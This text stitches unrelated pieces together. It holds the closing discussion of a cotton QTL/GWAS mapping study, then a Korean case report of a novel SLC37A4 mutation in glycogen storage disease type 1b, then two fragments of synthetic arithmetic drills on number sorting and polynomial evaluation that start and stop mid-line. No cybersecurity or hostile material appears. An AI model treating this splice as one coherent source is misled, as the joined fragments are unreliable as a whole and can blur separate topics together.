The segregation distortion is recognized as strong evolutionary force in the process of biological evolution (Taylor and Ingvarsson, 2003), which was also a common phenomenon in the study of genetic mapping (Shappley et al., 1998; Ulloa et al., 2002; Jamshed et al., 2016; Zhang et al., 2016; Tan et al., 2018). The current study observed that 32.22% of the total mapping markers were SDMs (P < 0.05). The maximum SDMs were on chr08, where there were 237 SDMs of the total 481 markers, forming five SDRs (Figure 1). This was in consistency with the SSR map constructed from the F2 population of the same parents of the current study (Kong et al., 2011). However, some studies observed an increase of the SDM ratio from F2 generation to the completion of RILs (Tan et al., 2018). This phenomenon was influenced by plenty of factors, including genetic drift (Shen et al., 2007) of mapping population, pollen tube competition, preferential fertilization of particular gametic genotypes, and others (Zhang et al., 2016; Zhang Z. et al., 2017; Tan et al., 2018). In the current study, some chromosomal uneven distribution of QTLs in SDR versus normal regions was also observed in chr01, chr06, chr07, chr10, chr16, chr19, and chr20. These facts implied an impact of the selections being imposed during the construction of the RIL population.
The QTLs detected in this study were compared with those in previous studies. As a result, 22 QTLs for FL, 25 QTLs for FS, 31 QTLs for FM, 36 QTLs for BW, 22 QTLs for LP, and 19 QTLs for SI in this study were coincided in the same physical regions of QTLs identified in previous studies (indicated with asterisks in Supplementary Table S4). The remaining could possibly be novel QTLs, of which 21 were stable ones, namely qFL-chr11-1, qFL-chr16-1, qFL-chr19-1, qFL-chr26-1, qFS-chr01-2, qFS-chr16-3, qFS-chr20-1, qFS-chr20-5, qFM-chr01-2, qFM-chr03-1, qFM-chr10-1, qFM-chr14-1, qFM-chr19-1, qBW-chr20-1, qLP-chr03-1, qLP-chr22-1, qLP-chr25-3, qLP-chr26-2, qSI-chr07-1, qSI-chr10-1, and qSI-chr16-1. Even though in the phenotypic evaluations of the population, the phenotypic differences between the two parents did not reach the significant level except that of FS, transgressive segregation in the RILs and significant differences among RILs indicated that the parents might harbor different favorable alleles for the target traits. QTL identification results well illustrated such presuppositions as these different favorable alleles contributed greatly to the similarity or nonsignificant differences between the two parents. These alleles could be addressed through map construction and detected in QTL identification. The high heritability of the target traits also enhanced the reliability of the QTL identification.
In addition, four multilocus GWAS algorithms were applied to the association of QTNs with the target traits, and their results were compared with the previous identified QTLs (Said et al., 2015). The results confirmed that quite a ratio of QTNs were coincided in the physical regions of the confidence intervals of reported QTLs in the database, namely 43 QTNs for FL, 44 QTNs for FS, 51 QTNs for FM, 40 QTNs for BW, 34 QTNs for LP, and 25 QTNs for SI (indicated with asterisks in Supplementary Table S6). The remaining QTNs could possibly be novel QTNs, of which 27 were associated by at least two algorithms or in two environments. These loci could be of great significance for cotton molecular-assisted breeding, particularly the loci of TM9941 and TM54893, which were identified both by multiple algorithms and in multiple environments for more than one target trait.
Based on linkage disequilibrium, GWAS is an effective genetic analysis method to dissect the genetic foundation of complex traits in plants in natural populations. The four multilocus GWAS algorithms provided promising alternatives in GWAS. Usually, GWAS needed a large panel size with sufficient marker polymorphism (Bodmer and Bonilla, 2008; Manolio et al., 2009), and was effective to identify major loci while ineffective to rare or polygenes (Asimit and Zeggini, 2010; Gibson, 2012) in the population. Linkage analysis in segregating populations could effectively eliminate the false-positive results, which was a built-in defect of GWAS in natural populations. But linkage analysis usually identified large DNA fragments, which made it difficult to further study the initial identification results. In the current study, both GWAS and linkage analysis were applied in the segregating RILs to study the correlations between genotypes and phenotypes. When comparing the results of GWAS to the QTLs of both previous studies (Said et al., 2015) and current study, common loci (genes) (Supplementary Table S7) demonstrated the effectiveness and feasibility of multilocus GWAS methods to address the correlation between genotypes and phenotypes in segregating RILs. Especially under the condition of increased marker density and improved genome coverage, the accuracy of QTN identification in GWAS would also increase. The increased accuracy probably rendered the application of GWAS in segregating population to have a higher effect on the observed PVs, sometimes even higher than that of QTL on the PVs in linkage analysis, which was usually low in natural populations.
Congruency and Function Analysis of Candidate Genes
In this study, candidate genes were identified independently both from the physical region in the marker intervals of the QTLs, which were identified by CIM (Zeng, 1994) in WinQTL Cartographer 2.5 (Wang et al., 2012), and from the physical position of the QTNs, which were associated by multilocus GWAS algorithms. As the CIM algorithm gave not only the QTL position where the highest LOD value located, but also a marker interval of that QTL, the physical regions where the marker interval resided by QTL/QTN were used to search the candidate genes around the QTLs. To avoid redundant genes, the markers, which resided far away from the physical positions of the rest in the same confidence interval, were discarded for consideration of candidate gene searching. This increased the accuracy of the functional analysis of the candidate genes harbored in the confidence intervals of QTLs.
When comparing both candidate gene lists, even if they were not completely consistent, they still revealed a good congruency of candidate gene identification from both algorithms of QTL/QTN; namely, three congruent candidate genes for FL, seven for FS, nine for FM, five for BW, eight for LP, and nine for SI were identified (Supplementary Table S7). Further analysis of these candidate genes indicated that 1 for FL, 17 for FS, and 2 for FM (indicated with asterisks in Supplementary Table S6) were congruent with some previous reports (Huang et al., 2017; Sun et al., 2017). Two candidate genes, Gh_D102255 (a protein kinase superfamily gene) and Gh_A13G0187 (actin 1 gene), which were for fiber quality, were also reported to participate in fiber elongation (Li et al., 2005; Huang et al., 2008). Gh_A07G1730 and Gh_D03G0236 belonged to a WD40 protein superfamily were mainly involved in yield formation in the current study, and might be related to a series of functions (Sun Q. et al., 2012; Gachomo et al., 2014). Gh_D11G1653 (myb domain protein 6) functioned in BW formation, whereas reports indicated that several members of MYB family were involved in fiber development (Suo et al., 2003; Machado et al., 2009; Sun et al., 2015; Huang et al., 2016). Findings in the current study also indicated that some candidate genes could possibly be “pleiotropic,” namely Gh_A07G1744 for FS, FM, and SI; Gh_A07G1745 for FS and FM; Gh_A07G1743 for BW and SI; and Gh_D08G0430 for FM and BW. These candidate genes could be of great significance for further studies including functional gene cloning as well as cultivar development.
Conclusion
The enriched high-density genetic map, which contained 4729 SNP and 122 SSR markers, spanned 2477.99 cM with a marker density of 0.51 cM between adjacent markers. A total of 134 QTLs for fiber quality traits and 122 for yield components were identified by the CIM, of which 57 are stable. A total of 209 and 139 QTNs for fiber quality traits and yield components were, respectively, associated by four multilocus GWAS algorithms, of which 74 QTNs were detected by at least two algorithms or in two environments. Comparing the candidate genes harbored in 57 stable QTLs with those associated with the QTN, 35 were found to be congruent, 4 of which were possibly “pleiotropic.” Results in the study could be promising for future breeding practices through MAS and candidate gene functional studies.
Author Contributions
WG and YY initiated the research. WG, RL, and QC designed the experiments. RL, XX, and ZZ performed the molecular experiments. JG, JL, AL, HS, YS, QG, QL, MI, XD, SL, JP, LD, QZ, XJ, XZ, and AH conducted the phenotypic evaluations and collected the data from the field. RL, WG, YY, and HG performed the analysis. RL drafted the manuscript. YY and WG finalized the manuscript. All authors contributed in the interpretation of results and approved the final manuscript.
Funding
This work was funded by the National Key R&D Program of China (2016YFD0100500), the Fundamental Research Funds for Central Research Institutes (Y2017JC48), the National Key R&D Program of China (2017YFD0101600 and 2016YFD0101401), the Natural Science Foundation of China (31371668, 31471538), the National High Technology Research and Development Program of China (2012AA101108), and the National Agricultural Science and Technology Innovation Project for CAAS and the Henan province foundation with cutting-edge technology research projects (142300413202).
Conflict of Interest Statement
The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest.
Acknowledgments
The authors thank the Biomarker Technologies Corporation (Beijing, China) for providing the software Highmap and help in the genetic map construction with Highmap. |
INTRODUCTION
============
Glycogen storage disease type 1b (GSD-1b, MIM 232220) is an autosomal recessive disease caused by a deficiency of microsomal glucose-6-phosphate translocase (G6PT). This protein transports glucose-6-phosphate into the endoplasmic reticulum, where the enzyme glucose-6-phosphatase (G6Pase; EC 3.1.3.9) converts glucose-6-phosphate into glucose and inorganic phosphate. In 1997, Gerin et al. found that a gene coding for the G6PT was mutated in GSD-1b ([@B1]). This gene, *SLC37A4* (formerly called as *G6PT1*), is located on chromosome 11q23.3 and encodes a protein with 429 amino acids ([@B1], [@B2]). Apart from GSD-1b, mutations in the *SLC37A4* gene were also found in essentially all patients previously classified as GSD 1c ([@B2], [@B3]) and 1d ([@B4]). Owing to the discovery, GSD-1b, -1c, or -1d can be diagnosed by the direct mutation analysis of the *SLC37A4* gene, which can spare the patients from invasive liver biopsy. In addition, the genetic causes in a family can facilitate family screening and is essential for prenatal diagnosis ([@B5]). Recently, we experienced a Korean patient with typical clinical features of GSD-1b and performed a mutation analysis to detect the *SLC37A4* gene mutations. In this report, we present the result of the mutation analysis in this patient.
CASE REPORT
===========
The proband was the first child of non-consanguineous Korean parents. He presented at age 12 yr for failure to thrive and protuberant abdomen. His height and weight was below the third percentile. Physical examination showed an enlarged liver, which was 7 cm below the costal margin. Fasting blood glucose was 40 mg/dL (reference interval: 70-110 mg/dL), blood lactate 5.6 mg/dL (reference interval: 0.7-2.5 mg/dL), serum uric acid 13.1 mg/dL (reference interval: 3.0-8.3 mg/dL), and serum triglyceride 586 mg/dL (reference interval: 50-200 mg/dL). Liver function was within normal limit except a mild elevation of serum ALT 65 U/L (reference interval: \<40 U/L). A glucose-loading test (1.75 g/kg) resulted in rapid decrease in blood lactate and pyruvate. The neutrophil count of the peripheral blood ranged from 0.4×10^9^/L to 0.8×10^9^/L (reference interval: 1.5-9.0×10^9^/L). He had experienced protracted diarrhea and recurrent perianal abscess. On colonoscopic finding, he had an inflammatory bowel disease. He underwent a liver biopsy in suspect of GSD. The biopsy showed an increased glycogen contents (12.3%; reference interval: 1-6%/wet liver), which is compatible to GSD. The G6Pase activities were measured with glucose-6-phosphate as substrate and were incubated in a reaction mixture containing 0.25 M saccharose and 5 mM EDTA buffer, pH 7.2. Microsome permeabilized with sonification and at least two G6P uptake studies were performed for each microsomal preparation. The patient\'s G6Pase activities in liver homogenates showed a very low level, 0.18 and 0.41 (normal range; 5.9-93.0 nM/min/mg protein) in intact microsome and disrupted microsome by sonification, respectively. Based on the clinical and laboratory findings, GSD-1b was considered. But G6Pase activity in disrupted microsome was a very low level, 0.41, but approximately approximately 2.3 times elevated level than that in untreated microsomes. In the first place, we had mutational analysis of the *G6Pase* gene to exclude GSD-1a and observed no mutation. We then analyzed mutations of *SLC37A4* gene because we suspected clinically GSD-1b.
Genomic DNA was extracted from whole blood using a Wizard genomic DNA purification kit according to the manufacturer\'s instruction (Promega, Madison, WI, U.S.A.). Informed consent was obtained from the parents. All the exons and intron-exon boundaries of the *SLC37A4* gene were amplified as described previously ([@B3]). Direct sequencing of PCR products was performed on both forward and reverse strands using the same primers for PCR and cycle sequencing was performed with a BigDye Terminator Cycle Sequencing Ready Reaction kit (Applied Biosystems, Foster City, CA, U.S.A.) on the ABI 3,100 Genetic Analyzer (Applied Biosystems). The sequence was compared with the reference sequence NM_001467 in the National Center for Biotechnology Information database (<http://www.ncbi.nlm.nih.gov>).
Two different mutations in the *SLC37A4* gene were identified in the proband. One was a heterozygous deletion mutation (c.1042_1043delCT; L348fsX400) in exon 8 and the other was a heterozygous 1-bp substitution mutation (c.443C\>T; A148V) in exon 3 of the *SLC37A4* gene. No other polymorphism was found in the sequencing results. The first mutation, c.1042_1043delCT, has been previously reported in an Italian family with GSD-1b ([@B6]). The second one is a novel mutation, c443C\>T, leading to substitution of alanine by valine at codon 148 (A148V) ([Fig. 1](#F1){ref-type="fig"}). The mother is heterozygous for the A148V mutation and the father is heterozygous for the L348fs mutation. The A148V mutation has been screened in 100 normal chromosomes and none had the same mutation.
DISCUSSION
==========
GSD1 or von Gierke disease includes a clinically, biochemically, and genetically heterogeneous group of autosomal recessive disorders ([@B7]). The basic defects reside in the impairment of the terminal steps of glycogenolysis and gluconeogenesis, at different levels. Mutations of the glucose-6-phosphatase gene (G6Pase), which lead to the enzyme deficiency, are responsible for the most frequent form of GSD 1, the subtype 1a ([@B7]). This gene is not mutated in patients in which there are biochemical evidences of defects in the glucose-6-phosphate transport system ([@B8]). GSD 1 patients diagnosed as non 1a have been subdivided at least in 1b and 1c subtypes on the basis of clinical and biochemical parameters ([@B7]). In GSD -1a, the WBC count is generally within reference ranges because leukocyte function is unaffected by the defect. In contrast, GSD-1b causes chronic neutropenia due to the impaired function of the neutrophils, particularly in relation to Gram-positive organisms ([@B9]). In GSD-1b, a liver biopsy in which the hepatocytes and their microsomes are intact shows deficient G6Pase activity in enzyme assay, as the defects in the glucose-6-phosphate transport system dose not deliver the required substrate into the microsomal lumen. However, microsomes disrupted by solubilization show normal glucose-6-phosphatase activity, because all substrates have free entry to the enzyme. But G6Pase activity in disrupted microsome by sonification showed a very low level in our enzyme assay, which was not compatible finding to GSD-1b. Since liver biopsy specimen was not left, we could not try to repeat the G6Pase enzyme assay. Our G6Pase enzyme assay result may be caused by insufficient or inadequate sonification procedure for microsome disruption.
The recent cloning of the cDNA for a putative endoplasmic reticulum glucose-6-phosphate transporter (G6PT) ([@B1]) has enabled the search for mutations in this gene in non GSD-1a patients ([@B4], [@B6], [@B10]-[@B13]). Recent data from others ([@B4], [@B10]-[@B13]) indicate that mutations in the *SLC37A4* gene are present in both 1b and 1c patients so far investigated. The *SLC37A4* gene product is estimated to function as a transporter for a monophosphate ester by structural comparison to various types of bacterial monophosphate ester transporter proteins ([@B1]). The bacterial transporter proteins as well as a human G6P translocase have 12 transmembrane helices. The genomic structure showed that helix 1 is in exon 1, helices 2-4 in exon 2, helices 5 and 6 in exon 3, helix 7 in exon 4, helix 8 in exon 5, helix 9 in exon 6, helix 10 and the upper region of helix 11 in exon 7, and the lower region of helix 11 and helix 12 in exon 8, indicating close correlation between transmembrane helices and exons ([@B14]).
Based on genome sequence data, we analyzed DNA of a patient with GSD-1b. We identified two different mutations in Korean patient. The first mutation at the codon 347 cause a change in reading frame after Ala-347 and premature termination of translation in amino acid 400, which has been previously reported in Italian family with GSD-1b ([@B6]). This can possibly cause an abnormal folding of the transporter in the ER membrane and, consequently, a functional anomaly. On the other hand, nonsense mutations and insertion/deletion mutations cause the synthesis of a truncated protein mussing the two lysines at the carboxy-terminus necessary as a retention signal in the ER membrane and therefore do not allow for glucose-6-phosphate transport.
The second mutation at the codon 148, novel mutation was a missence mutation from alanine to valine at codon 148. This alanine locates in the third transmembrane helix. This amino acid change might alter the protein structure at the transmembrane region. All the known missence mutations causing amino acid substitutions in the transmembrane region of the protein are responsible for the conversion of a hydrophobic amino acid to a hydrophilic amino acid. Fifty normal subjects were screened by direct sequencing and none of them carried for the A148V mutation in the *SLC37A4* gene. To determine whether these mutations were common to Korean GSD-1b patients, mutation screening of more patients should be undertaken.
In summary, we identified a novel missence mutations in the *SLC37A4* gene in a Korean boy with the typical phenotype of GSD-1b, which we believe would improve our understanding of the genotype-phenotype correlations of *SLC37A4* gene mutations. The DNA-based diagnosis of GSD-1b will enable us to make an accurate determination of carrier status and to perform prenatal diagnosis of this disease. To our knowledge, this is the first report of genetically confirmed case of GSD-1b in Koreans.
This work was supported by National Research Laboratory Grants from the Korea Institute of Science & Technolgy Evaluation and Planning, Korea.
{#F1}
|
g order.
t, 1.88, 0, -2
Let f = -2494922/11 + 226811. Let s = -38 + 13. Sort s, -1/2, 0.4, f in increasing order.
s, -1/2, f, 0.4
Suppose -4*s = -5*m - 40, -m - s + 13 = -3*m. Sort 20, 4, m, 12 in increasing order.
m, 4, 12, 20
Let l be (-28)/56*10/(-2)*2/5. Let s(q) = q**2 - 7*q - 11. Let o be s(8). Put o, l, 15, -1 in descending order.
15, l, -1, o
Let f = -0.3 + 0.23. Let h = f - -2.07. Let w = 5.9652 - -0.0348. Put h, w, -0.3 in descending order.
w, h, -0.3
Let j = 3.92844 + 0.07156. Sort 0.5, 3.93, 3, j in descending order.
j, 3.93, 3, 0.5
Let y = 2479 - 2480. Let z = -28 - -24. Sort y, 5, z in descending order.
5, y, z
Suppose 8 = k - j, 2 = -k - 14*j + 13*j. Put -1, k, -4, 68 in increasing order.
-4, -1, k, 68
Suppose k = -2 + 14. Suppose 4*v = 9*b - 14*b - 70, -2*v = -4*b + 22. Let h be v/(-50) - 4/((-40)/37). Put k, h, -4 in decreasing order.
k, h, -4
Let r = 517 - 524. Let f be (-41 - r) + -6 + 7. Put f, -3, -5 in ascending order.
f, -5, -3
Let k = 3 + -4. Let r = -2/171 + 869/1197. Let o = 38/63 - r. Put k, o, 2 in increasing order.
k, o, 2
Let p(j) = j**3 + 3*j**2 + 6*j + 41. Let d be p(-3). Put -9, d, 4, -5 in decreasing order.
d, 4, -5, -9
Let i = 28053 + -28057. Put i, 2/7, -0.1, 0, -4/13 in decreasing order.
2/7, 0, -0.1, -4/13, i
Suppose -2*u = 2*u - 12. Let n(y) = 26 + 27 - 3 - 6 - 3*y. Let c be n(14). Sort c, u, -17 in decreasing order.
u, c, -17
Let q be 66/3*50/780*-3. Put 0.3, -14, q in ascending order.
-14, q, 0.3
Suppose 28 = -5*o - 4*q - 3, 3*o - 2*q = -1. Put o, 682, -5 in decreasing order.
682, o, -5
Suppose 4*z = -3*k - 302, -98 = k - z + 5. Sort k, -1, 0, 3, -9 in increasing order.
k, -9, -1, 0, 3
Let p(n) = n**2 - 28*n + 79. Let v be p(25). Let f be 10/(-60)*(-3 + 20/v). Put 0, f, -3, -0.18 in ascending order.
-3, f, -0.18, 0
Let p(o) = o**2 - 4*o. Let k be p(4). Suppose 5*x = -3*y - 35, -4*x + 4*y + 191 = 187. Put x, k, 2, -3 in ascending order.
x, -3, k, 2
Let j = 5 - 1.79. Let y = -0.21 + j. Put -2, y, -3 in descending order.
y, -2, -3
Let o(j) = 12*j - 15. Let s be o(1). Let q be s*((-87)/(-29) + 10/(-3)). Sort 12, q, -1 in increasing order.
-1, q, 12
Let g(x) = x**3 - x**2 - 15*x - 11. Let u be g(-3). Sort 5, 412, u.
u, 5, 412
Let x = -2395 - -2394.949. Sort x, -0.3, 2.2 in ascending order.
-0.3, x, 2.2
Suppose 53 = j - b + 48, -9*j + 27 = -3*b. Sort 151, 5, j.
j, 5, 151
Let y(q) = -q**3 - 4*q**2 + 2*q + 4. Let g be y(-4). Let t = 1008 - 1011. Let a be (-5)/(-2 + t) - -1. Put 3, g, a, -3 in decreasing order.
3, a, -3, g
Let m = -2260 - -2264. Sort -1, m, 385 in increasing order.
-1, m, 385
Suppose 16*a + 5*a - 72 = 3*a. Put -5, a, -1, 2, 134 in ascending order.
-5, -1, 2, a, 134
Let f = 13 - 27. Let b(n) = 22*n - 244. Let i be b(11). Put 1, f, i in decreasing order.
1, i, f
Suppose -2*p + 5*q = 32, -12*p + 4*q + 14 = -17*p. Put -3, p, 0, -98 in ascending order.
-98, p, -3, 0
Suppose 3*j + 244 = 5*z, -107*j + 8 = -103*j. Sort 7, 0, 2, z in increasing order.
0, 2, 7, z
Let i be (6 + (-30)/6)/((-2)/(-8)). Suppose -i*z + 7 = p, 2 = -4*z + 3*z - 4*p. Put 4, -60, z in ascending order.
-60, z, 4
Suppose 5*b - 182 = -x - 210, -3*b = -4*x - 135. Put 3, 5, -25, x in descending order.
5, 3, -25, x
Suppose -5*u + 2*g - 210 = 0, 0 = -4*u - 4*g + 33 - 229. Let o = 40 + u. Let t be 0 + o + (8 - 8). Sort -3, -1, t, 0.
t, -3, -1, 0
Let b be -5*(-2)/(-2) - -1. Let j(q) = -q - 85. Let m be j(-89). Sort b, 24, m in increasing order.
b, m, 24
Let m = -34 - -98/3. Let p = -142/11 + 983/77. Sort m, -1, p.
m, -1, p
Suppose 2*i + 4*t = 14, -2*i - i + 5*t = -10. Sort i, -2, -1, -5 in increasing order.
-5, -2, -1, i
Suppose -9*g = 5*i - 11*g - 267, 232 = 4*i + 3*g. Sort i, 4, -1/8, -0.5.
-0.5, -1/8, 4, i
Let l(k) = -k**2 + 10*k - 12. Let a be l(8). Let t(h) = h**2 - 7*h + 10. Let z be t(4). Let i = 416 + -411. Put a, i, z in descending order.
i, a, z
Let a = -13091 + 13089. Put a, -159, -29 in increasing order.
-159, -29, a
Let f be 20 - (224/72 - 6/54). Sort f, 1/11, 5, -0.5 in decreasing order.
f, 5, 1/11, -0.5
Let h be (-47)/(-5) - (-720)/(-1800) - 9. Let y be -2 + 1 + -5*6. Sort -5, h, y, -1.
y, -5, -1, h
Suppose 29*a = 36*a - 84. Let w be 1*20/(-6)*a/(-8). Let k(o) = o**3 + 2*o**2 - 5*o - 4. Let b be k(-3). Sort -5, w, 3, b in ascending order.
-5, b, 3, w
Let w = -37 - -36. Suppose -2*o - 3*j + 16 = 3*o, o - 12 = -5*j. Suppose -2*h = -5*t + 15, 25 = 3*h - 0*t + o*t. Sort 3, h, w.
w, 3, h
Suppose -500 = 5*j + 3*c + c, -2*c = 2*j + 198. Put 2/5, 3/7, j in increasing order.
j, 2/5, 3/7
Let j = -11 - -7. Let c = -25835 + 25829. Put -2, c, j in ascending order.
c, j, -2
Let v(d) = 3*d**2 + 11*d + 21. Let r be v(-2). Suppose 27 = 4*w + 3*p + 2*p, 18 = 5*w + p. Let g(n) = -n**3 - 8*n**2 + 4. Let x be g(-8). Sort x, -5, r, w.
-5, w, x, r
Let a be ((-30)/(-9) - 15) + 10. Let c = -41 - -41. Put a, c, 0.2, -2/7 in decreasing order.
0.2, c, -2/7, a
Suppose 0*p = p + 5. Let x be 2918/(-6) + -8 + (-110)/(-15). Let v = x + 490. Sort p, 8, v.
p, v, 8
Let y = -2 - -2. Let v be (0 + 2/3)/(68/1530*-3). Sort 12, y, -3, v in decreasing order.
12, y, -3, v
Suppose -169 = 19*n - 511. Suppose -2*s - 2*l = -6*l + n, 2*s + 6 = l. Let u(y) = -y**3 + 9*y**2 - y + 12. Let b be u(9). Put b, 2, -7, s in increasing order.
-7, s, 2, b
Let g = -971 + 975. Sort -5, -2, 432, -3, g in ascending order.
-5, -3, -2, g, 432
Let l = 12322 - 12322.5. Sort -2/5, l, 0.44, -3 in increasing order.
-3, l, -2/5, 0.44
Let t(q) = -q**3 + 32*q**2 - 29*q - 59. Let n be t(31). Let w be (-2 - n)*((-2)/2)/(-1). Suppose -b + 2 = 3. Put b, 2, 1, w in decreasing order.
2, 1, b, w
Suppose -1568 = z - 4*y - 1574, 2*z - 4*y - 4 = 0. Sort z, 1, 0, -798 in decreasing order.
1, 0, z, -798
Suppose 48 = 264*d - 252*d. Put d, 2, -1297, 5 in descending order.
5, d, 2, -1297
Let n = 8868/22145 + -2/4429. Sort 35, n, 0 in decreasing order.
35, n, 0
Let m be ((-20)/15*(-27)/(-6))/(0 + -2). Put 1, m, 5, 78 in increasing order.
1, m, 5, 78
Let y(o) = 6*o**3 + o. Let s be y(1). Suppose 4*v + 5*d - s = 0, 5*v - d - 2*d - 18 = 0. Let t = 2013 + -2013.2. Put v, 1, t, 5/4 in descending order.
v, 5/4, 1, t
Let r = 43 - 41.4. Suppose 20 = -11*q + 9. Let p be 3*10/285 - 0/q. Put p, r, -2 in descending order.
r, p, -2
Let r = 0.8 + -0.5. Let h = 65942 - 263771/4. Put -4, h, 10, r in decreasing order.
10, r, h, -4
Let g = -45 - -42.5. Let k = -3 - g. Suppose -7*q + 3*q - 20 = 0. Sort -0.3, k, q in descending order.
-0.3, k, q
Let t = 1309 + -1306. Let g = 110 - 109. Suppose -20 + 0 = -5*w. Sort 0, g, w, t.
0, g, t, w
Let s = 5.6 - -17.4. Let j = -20.9 + s. Suppose 16 = -361*q + 357*q. Put j, q, -0.1 in ascending order.
q, -0.1, j
Suppose -21*p - 24 = -18*p. Let r = 39 - 65. Let d = -27 - r. Sort 3, d, p, 5 in descending order.
5, 3, d, p
Let r(n) = 51*n + 89. Let l be r(-2). Put -7, -5, -1, l in decreasing order.
-1, -5, -7, l
Let w be 2 - 8*4/8 - -260. Suppose 27*i - w = 24*i. Let f = i - 262/3. Sort 1/4, f, -3 in increasing order.
-3, f, 1/4
Let t = 4383.9 - 4384. Let u = -7988/17 + 470. Put -3/5, t, u in descending order.
u, t, -3/5
Let g = 16.36 + -17.77. Put 2, g, -0.5 in decreasing order.
2, -0.5, g
Suppose 4*z + 5*r = -z + 1225, r = 5*z - 1231. Let k = z - 249. Let h = -33 + 36. Sort -5, 1, k, h.
-5, k, 1, h
Let v = 281.889 + 0.111. Let r = v + -274. Sort 1, r, 2, -2/5 in ascending order.
-2/5, 1, 2, r
Suppose 5 = -2*c + a, -5*c + a = -a + 12. Let o = -2697 - -2766. Put 3, c, o in decreasing order.
o, 3, c
Let m(j) = 201*j - 5623. Let b be m(28). Sort 4, b, 29, 3 in descending order.
29, b, 4, 3
Let o = -1.711 + -0.289. Let z be ((-405)/(-36))/(-15)*(-8)/15. Sort -0.2, z, o, 2/7 in increasing order.
o, -0.2, 2/7, z
Suppose -6*c + 4 - 10 = 0. Let n(y) = -5*y**3 + 4*y**2 + 4*y. Let i be n(c). Put i, -3, -5 in decreasing order.
i, -3, -5
Let x be -2 + -61 - (-90 + 94). Put -4, x, -11 in descending order.
-4, -11, x
Suppose 0 = -3*q + 13 + 8. Let p(v) = v**2 - 9*v + 9. Let b be p(q). Let k be 2/(-8) + (-27)/36. Put k, 4, b in descending order.
4, k, b
Let a(g) = -69*g + 3455. Let k be a(50). Put 1.4, -1/7, -2/15, 6, k in descending order.
6, k, 1.4, -2/15, -1/7
Let o be 4/18 - (-320)/(-144). Let v(r) = -r**2 + 10*r + 7. Let z be v(11). Put z, o, -1 in increasing order.
z, o, -1
Suppose 0 = x + 40*l - 41*l |
t s(p) = p**3 + p**2 - 53*p - 132. Calculate s(-3).
9
Let r(o) = -921*o - 2780. Give r(-3).
-17
Let g(l) = -19*l**2 - 384*l - 75. Calculate g(-20).
5
Let x(n) = -83*n**3 - n**2 + 21*n - 22. Calculate x(1).
-85
Let w(m) = 10*m**2 - 465*m + 214. Give w(46).
-16
Let f(g) = 101*g + 94. What is f(1)?
195
Let c(v) = 10*v**2 + 8*v - 21. Give c(5).
269
Let r(i) = i**3 + 116*i**2 - 741*i - 1079. Calculate r(-122).
19
Let g(v) = -v**3 + 21*v**2 - 13*v - 414. Calculate g(19).
61
Let g(z) = z**2 + 15*z - 163. Give g(7).
-9
Let y(h) = 2*h**2 + 217*h + 5215. What is y(-72)?
-41
Let j(m) = -m**3 + 50*m**2 - 482*m + 70. Give j(37).
33
Let w(x) = 9*x**2 - 144*x - 2. Calculate w(16).
-2
Let a(k) = -k**3 - 10*k**2 - 17*k + 22. Determine a(-10).
192
Let u(z) = -35*z - 3741. What is u(-107)?
4
Let q(f) = 5*f**2 - 83*f - 334. What is q(20)?
6
Let n(c) = -c**3 - 13*c**2 + 73*c + 90. Determine n(-17).
5
Let d(f) = -5*f**2 - 319*f + 60. What is d(-64)?
-4
Let u(x) = 7*x**3 + 67*x**2 - 195*x + 25. Give u(-12).
-83
Let z(w) = -w**3 - 3*w**2 + 78*w - 28. Calculate z(-11).
82
Let n(y) = 20007*y + 160056. Give n(-8).
0
Let l(g) = -g**2 + 244*g - 481. What is l(2)?
3
Let v(r) = r**3 + 10*r**2 - 27*r - 1. Give v(2).
-7
Let m(o) = 2*o**3 - 99*o**2 + 65*o - 770. What is m(49)?
14
Let b(g) = 3*g**2 + 181*g + 148. What is b(-60)?
88
Let x(q) = -q**2 + 30*q + 442. What is x(-11)?
-9
Let g(p) = -1094*p + 5479. What is g(5)?
9
Let s(y) = -y**2 + 369*y + 4031. What is s(-11)?
-149
Let s(y) = -476*y + 954. What is s(2)?
2
Let w(o) = 1765*o + 61781. What is w(-35)?
6
Let k(i) = -i**2 - 37*i + 315. Calculate k(-41).
151
Let f(r) = 861*r + 11191. Calculate f(-13).
-2
Let q(x) = -63*x - 494. Determine q(-7).
-53
Let g(z) = -16*z**2 - 1287*z + 737. Give g(-81).
8
Let q(n) = -n**3 + 37*n**2 + 16*n - 84. Give q(37).
508
Let o(w) = -w**2 + 240*w + 8087. Determine o(-30).
-13
Let p(q) = 3*q**2 + 30*q + 60. Calculate p(-7).
-3
Let q(z) = -19*z**2 + z - 7. Give q(3).
-175
Let s(d) = 500*d - 54493. Determine s(109).
7
Let q(j) = 184*j - 8818. Determine q(48).
14
Let n(s) = 26*s**2 - 370*s + 52. Determine n(14).
-32
Let g(y) = -29*y**3 + 6*y**2 - 25*y - 56. What is g(-2)?
250
Let x(f) = -241*f - 2798. Calculate x(-11).
-147
Let p(a) = -3*a**2 - 136*a + 367. Determine p(-48).
-17
Let r(i) = 9*i**2 + 646*i - 132. Give r(-72).
12
Let r(t) = -7*t**2 + t + 13. Determine r(6).
-233
Let a(w) = 14*w - 922. Give a(70).
58
Let l(q) = q**3 + 6*q**2 - 431*q + 80. Give l(-24).
56
Let n(q) = -1654*q + 3315. What is n(2)?
7
Let r(q) = -375*q + 4099. Calculate r(11).
-26
Let f(v) = 4*v**3 - 713*v**2 + 886*v - 170. What is f(177)?
7
Let i(r) = 2*r**2 - 45*r - 1052. Give i(-14).
-30
Let k(h) = h**2 - 261*h + 1286. What is k(5)?
6
Let i(m) = -10*m**2 + 129*m. Determine i(13).
-13
Let t(d) = -d**3 + 181*d**2 - 4284*d + 12. Calculate t(28).
12
Let f(v) = v**3 - 24*v**2 + 52*v - 40. Give f(21).
-271
Let g(z) = -z**3 - 80*z**2 + 519*z + 248. Calculate g(-86).
-10
Let a(j) = -j**3 - 16*j**2 - 40*j + 2. Calculate a(-12).
-94
Let j(p) = -p**3 - 33*p**2 + 103*p - 25. Give j(-36).
155
Let r(d) = -46*d**3 - 10*d**2 - 8*d + 1. Calculate r(-1).
45
Let o(q) = -38*q - 1770. What is o(-47)?
16
Let f(d) = 4*d**3 - 25*d**2 - 11*d + 86. Calculate f(6).
-16
Let h(f) = -f**3 + 27*f**2 - 175*f - 22. Give h(16).
-6
Let c(x) = -3*x**3 - 2*x**2 + 4*x + 55. Calculate c(-6).
607
Let g(i) = i**3 + 6*i**2 - 6*i - 45. What is g(-5)?
10
Let p(t) = -238*t + 1186. Determine p(6).
-242
Let l(s) = -625*s - 17505. Give l(-28).
-5
Let x(l) = -6*l**3 - 40*l**2 - 41*l + 9. What is x(-6)?
111
